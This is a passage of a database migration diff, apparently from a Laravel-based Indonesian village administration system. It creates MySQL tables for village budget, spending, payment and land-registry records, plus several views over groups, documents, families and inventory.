CONSTRAINT `id_keuangan_ta_rab_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rab_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(100) NOT NULL, + `No_Urut` varchar(100) NOT NULL, + `SumberDana` varchar(100) NOT NULL, + `Uraian` varchar(100) NOT NULL, + `Satuan` varchar(100) NOT NULL, + `JmlSatuan` varchar(100) NOT NULL, + `HrgSatuan` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `JmlSatuanPAK` varchar(100) NOT NULL, + `HrgSatuanPAK` varchar(100) NOT NULL, + `AnggaranStlhPAK` varchar(100) NOT NULL, + `AnggaranPAK` varchar(100) NOT NULL, + `Kode_SBU` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rab_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rab_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rab_sub` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(100) NOT NULL, + `Nama_SubRinci` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `AnggaranPAK` varchar(100) NOT NULL, + `AnggaranStlhPAK` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rab_sub_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rab_sub_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_bidang` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Bid` varchar(100) NOT NULL, + `Nama_Bidang` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_bidang_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_bidang_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_kegiatan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Bid` varchar(100) DEFAULT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `ID_Keg` varchar(100) NOT NULL, + `Nama_Kegiatan` varchar(100) NOT NULL, + `Lokasi` varchar(100) NOT NULL, + `Keluaran` varchar(100) NOT NULL, + `Kd_Sas` varchar(100) NOT NULL, + `Sasaran` varchar(100) NOT NULL, + `Tahun1` varchar(100) NOT NULL, + `Tahun2` varchar(100) NOT NULL, + `Tahun3` varchar(100) NOT NULL, + `Tahun4` varchar(100) NOT NULL, + `Tahun5` varchar(100) NOT NULL, + `Tahun6` varchar(100) NOT NULL, + `Swakelola` varchar(100) NOT NULL, + `Kerjasama` varchar(100) NOT NULL, + `Pihak_Ketiga` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `Kd_Sub` varchar(30) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_kegiatan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_kegiatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_misi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `ID_Misi` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `ID_Visi` varchar(100) NOT NULL, + `No_Misi` varchar(100) NOT NULL, + `Uraian_Misi` varchar(250) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_misi_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_misi_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_pagu_indikatif` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Sumber` varchar(100) NOT NULL, + `Tahun1` varchar(100) NOT NULL, + `Tahun2` varchar(100) NOT NULL, + `Tahun3` varchar(100) NOT NULL, + `Tahun4` varchar(100) NOT NULL, + `Tahun5` varchar(100) NOT NULL, + `Tahun6` varchar(100) NOT NULL, + `Pola` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_pagu_indikatif_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_pagu_indikatif_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_pagu_tahunan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Tahun` varchar(100) NOT NULL, + `Kd_Sumber` varchar(100) NOT NULL, + `Biaya` varchar(100) NOT NULL, + `Volume` varchar(100) NOT NULL, + `Satuan` varchar(100) NOT NULL, + `Lokasi_Spesifik` varchar(100) NOT NULL, + `Jml_Sas_Pria` varchar(100) NOT NULL, + `Jml_Sas_Wanita` varchar(100) NOT NULL, + `Jml_Sas_ARTM` varchar(100) NOT NULL, + `Waktu` varchar(100) NOT NULL, + `Mulai` varchar(100) NOT NULL, + `Selesai` varchar(100) NOT NULL, + `Pola_Kegiatan` varchar(100) NOT NULL, + `Pelaksana` varchar(100) NOT NULL, + `No_ID` varchar(20) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_pagu_tahunan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_pagu_tahunan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_sasaran` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `ID_Sasaran` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `ID_Tujuan` varchar(100) NOT NULL, + `No_Sasaran` varchar(100) NOT NULL, + `Uraian_Sasaran` varchar(250) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_sasaran_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_sasaran_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_tujuan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `ID_Tujuan` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `ID_Misi` varchar(100) NOT NULL, + `No_Tujuan` varchar(100) NOT NULL, + `Uraian_Tujuan` varchar(250) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_tujuan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_tujuan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_rpjm_visi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `ID_Visi` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_Visi` varchar(100) NOT NULL, + `Uraian_Visi` varchar(250) DEFAULT NULL, + `TahunA` varchar(100) NOT NULL, + `TahunN` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_rpjm_visi_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_rpjm_visi_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_saldo_awal` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Jenis` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `Debet` varchar(100) NOT NULL, + `Kredit` varchar(100) NOT NULL, + `Tgl_Bukti` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_saldo_awal_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_saldo_awal_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spj` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_SPJ` varchar(100) NOT NULL, + `Tgl_SPJ` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `Keterangan` varchar(255) DEFAULT NULL, + `Jumlah` varchar(100) NOT NULL, + `Potongan` varchar(100) NOT NULL, + `Status` varchar(100) NOT NULL, + `Kunci` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spj_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spj_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spj_bukti` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_SPJ` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Tgl_Bukti` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Nm_Penerima` varchar(100) NOT NULL, + `Alamat` varchar(100) NOT NULL, + `Rek_Bank` varchar(100) NOT NULL, + `Nm_Bank` varchar(100) NOT NULL, + `NPWP` varchar(100) NOT NULL, + `Keterangan` varchar(250) DEFAULT NULL, + `Nilai` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(10) DEFAULT NULL, + `Kd_Bank` varchar(100) DEFAULT NULL, + `Ref_Bayar` varchar(100) DEFAULT NULL, + `Tgl_Bayar` varchar(100) DEFAULT NULL, + `Validasi` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spj_bukti_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spj_bukti_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spj_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_SPJ` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `JmlCair` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + `Alamat` varchar(100) DEFAULT NULL, + `Sisa` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spj_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spj_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spj_sisa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Tgl_Bukti` varchar(100) NOT NULL, + `No_SPJ` varchar(100) NOT NULL, + `Tgl_SPJ` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `Tgl_SPP` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Keterangan` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spj_sisa_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spj_sisa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spjpot` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SPJ` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + `Billing_Pajak` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spjpot_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spjpot_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spp` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `Tgl_SPP` varchar(100) NOT NULL, + `Jn_SPP` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Keterangan` varchar(250) DEFAULT NULL, + `Jumlah` varchar(100) NOT NULL, + `Potongan` varchar(100) NOT NULL, + `Status` varchar(100) NOT NULL, + `F10` varchar(10) DEFAULT NULL, + `F11` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spp_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spp_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spp_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spp_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spp_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_sppbukti` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Sumberdana` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Tgl_Bukti` varchar(100) NOT NULL, + `Nm_Penerima` varchar(100) NOT NULL, + `Alamat` varchar(100) NOT NULL, + `Rek_Bank` varchar(100) NOT NULL, + `Nm_Bank` varchar(100) NOT NULL, + `NPWP` varchar(100) NOT NULL, + `Keterangan` varchar(200) DEFAULT NULL, + `Nilai` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(10) DEFAULT NULL, + `Kd_Bank` varchar(100) DEFAULT NULL, + `Ref_Bayar` varchar(100) DEFAULT NULL, + `Tgl_Bayar` varchar(100) DEFAULT NULL, + `Validasi` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_sppbukti_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_sppbukti_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_spppot` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_SPP` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + `Billing_Pajak` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_spppot_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_spppot_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_sts` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Tgl_Bukti` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Uraian` varchar(100) NOT NULL, + `NoRek_Bank` varchar(100) NOT NULL, + `Nama_Bank` varchar(100) NOT NULL, + `Jumlah` varchar(100) NOT NULL, + `Nm_Bendahara` varchar(100) NOT NULL, + `Jbt_Bendahara` varchar(100) NOT NULL, + `ID_Bank` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_sts_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_sts_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_sts_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `No_TBP` varchar(100) NOT NULL, + `Uraian` varchar(100) NOT NULL, + `Nilai` varchar(100) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_sts_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_sts_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_tbp` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Tgl_Bukti` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Uraian` varchar(250) DEFAULT NULL, + `Nm_Penyetor` varchar(100) NOT NULL, + `Alamat_Penyetor` varchar(100) NOT NULL, + `TTD_Penyetor` varchar(100) NOT NULL, + `NoRek_Bank` varchar(100) NOT NULL, + `Nama_Bank` varchar(100) NOT NULL, + `Jumlah` varchar(100) NOT NULL, + `Nm_Bendahara` varchar(100) NOT NULL, + `Jbt_Bendahara` varchar(100) NOT NULL, + `Status` varchar(100) NOT NULL, + `KdBayar` varchar(100) NOT NULL, + `Ref_Bayar` varchar(100) NOT NULL, + `ID_Bank` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_tbp_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_tbp_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_tbp_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `No_Bukti` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `RincianSD` varchar(100) NOT NULL, + `SumberDana` varchar(100) NOT NULL, + `nilai` varchar(100) NOT NULL, + `Kd_SubRinci` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_tbp_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_tbp_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_triwulan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `KURincianSD` varchar(100) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Sifat` varchar(100) NOT NULL, + `SumberDana` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `AnggaranPAK` varchar(100) NOT NULL, + `Tw1Rinci` varchar(100) DEFAULT NULL, + `Tw2Rinci` varchar(100) DEFAULT NULL, + `Tw3Rinci` varchar(100) DEFAULT NULL, + `Tw4Rinci` varchar(100) DEFAULT NULL, + `KunciData` varchar(100) NOT NULL, + `Jan` varchar(100) DEFAULT NULL, + `Peb` varchar(100) DEFAULT NULL, + `Mar` varchar(100) DEFAULT NULL, + `Apr` varchar(100) DEFAULT NULL, + `Mei` varchar(100) DEFAULT NULL, + `Jun` varchar(100) DEFAULT NULL, + `Jul` varchar(100) DEFAULT NULL, + `Agt` varchar(100) DEFAULT NULL, + `Sep` varchar(100) DEFAULT NULL, + `Okt` varchar(100) DEFAULT NULL, + `Nop` varchar(100) DEFAULT NULL, + `Des` varchar(100) DEFAULT NULL, + `Kd_SubRinci` varchar(10) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_triwulan_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_triwulan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_ta_triwulan_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_keuangan_master` int(11) NOT NULL, + `KdPosting` varchar(100) NOT NULL, + `KURincianSD` varchar(100) NOT NULL, + `Tahun` varchar(100) NOT NULL, + `Sifat` varchar(100) NOT NULL, + `SumberDana` varchar(100) NOT NULL, + `Kd_Desa` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Anggaran` varchar(100) NOT NULL, + `AnggaranPAK` varchar(100) NOT NULL, + `Tw1Rinci` varchar(100) DEFAULT NULL, + `Tw2Rinci` varchar(100) DEFAULT NULL, + `Tw3Rinci` varchar(100) DEFAULT NULL, + `Tw4Rinci` varchar(100) DEFAULT NULL, + `KunciData` varchar(100) NOT NULL, + `Jan` varchar(100) DEFAULT NULL, + `Peb` varchar(100) DEFAULT NULL, + `Mar` varchar(100) DEFAULT NULL, + `Apr` varchar(100) DEFAULT NULL, + `Mei` varchar(100) DEFAULT NULL, + `Jun` varchar(100) DEFAULT NULL, + `Jul` varchar(100) DEFAULT NULL, + `Agt` varchar(100) DEFAULT NULL, + `Sep` varchar(100) DEFAULT NULL, + `Okt` varchar(100) DEFAULT NULL, + `Nop` varchar(100) DEFAULT NULL, + `Des` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_keuangan_ta_triwulan_rinci_master_fk` (`id_keuangan_master`), + CONSTRAINT `id_keuangan_ta_triwulan_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `cdesa_penduduk` ( + `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `id_cdesa` int(5) unsigned NOT NULL, + `id_pend` int(11) NOT NULL, + PRIMARY KEY (`id`), + KEY `id_cdesa` (`id_cdesa`), + CONSTRAINT `cdesa_penduduk_fk` FOREIGN KEY (`id_cdesa`) REFERENCES `cdesa` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + + DB::statement(' + CREATE TABLE `mutasi_cdesa` ( + `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `id_cdesa_masuk` int(5) unsigned DEFAULT NULL, + `cdesa_keluar` int(5) unsigned DEFAULT NULL, + `jenis_mutasi` tinyint(2) DEFAULT NULL, + `tanggal_mutasi` date DEFAULT NULL, + `keterangan` text DEFAULT NULL, + `id_persil` int(11) NOT NULL, + `no_bidang_persil` tinyint(3) DEFAULT NULL, + `luas` decimal(7,0) DEFAULT NULL, + `no_objek_pajak` varchar(30) DEFAULT NULL, + `path` text DEFAULT NULL, + `id_peta` int(60) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `cdesa_mutasi_fk` (`id_cdesa_masuk`), + CONSTRAINT `cdesa_mutasi_fk` FOREIGN KEY (`id_cdesa_masuk`) REFERENCES `cdesa` (`id`) ON DELETE CASCADE ON UPDATE CASCADE + ); + '); + } + + private function buat_view() + { + DB::statement('CREATE VIEW `daftar_grup` AS + select `a`.*, + (select count(`anggota_grup_kontak`.`id_kontak`) from `anggota_grup_kontak` where (`a`.`id_grup` = `anggota_grup_kontak`.`id_grup`)) AS `jumlah_anggota` + from `kontak_grup` `a`'); + + DB::statement( + 'CREATE VIEW dokumen_hidup AS SELECT * FROM dokumen WHERE deleted <> 1' + ); + + DB::statement('CREATE VIEW keluarga_aktif AS SELECT k.* + FROM tweb_keluarga k + LEFT JOIN tweb_penduduk p ON k.nik_kepala = p.id + WHERE p.status_dasar = 1'); + + DB::statement("CREATE VIEW `master_inventaris` AS + SELECT 'inventaris_asset' AS asset, inventaris_asset.id, inventaris_asset.nama_barang, inventaris_asset.kode_barang, 'Baik' AS kondisi, inventaris_asset.keterangan, inventaris_asset.asal, inventaris_asset.tahun_pengadaan FROM inventaris_asset WHERE visible = 1 + UNION ALL SELECT 'inventaris_gedung' AS asset, inventaris_gedung.id, inventaris_gedung.nama_barang, inventaris_gedung.kode_barang, inventaris_gedung.kondisi_bangunan, inventaris_gedung.keterangan, inventaris_gedung.asal, YEAR( inventaris_gedung.tanggal_dokument) AS tahun_pengadaan FROM inventaris_gedung WHERE visible = 1 + UNION ALL SELECT 'inventaris_jalan' AS asset, inventaris_jalan.id, inventaris_jalan.nama_barang, inventaris_jalan.kode_barang, inventaris_jalan.kondisi, inventaris_jalan.keterangan, inventaris_jalan.asal, YEAR ( inventaris_jalan.tanggal_dokument ) AS tahun_pengadaan FROM inventaris_jalan WHERE visible = 1 + UNION ALL SELECT 'inventaris_peralatan' AS asset, inventaris_peralatan.id, inventaris_peralatan.nama_barang, inventaris_peralatan.kode_barang, 'Baik', inventaris_peralatan.keterangan, inventaris_peralatan.asal, inventaris_peralatan.tahun_pengadaan FROM inventaris_peralatan WHERE visible = 1"); + + 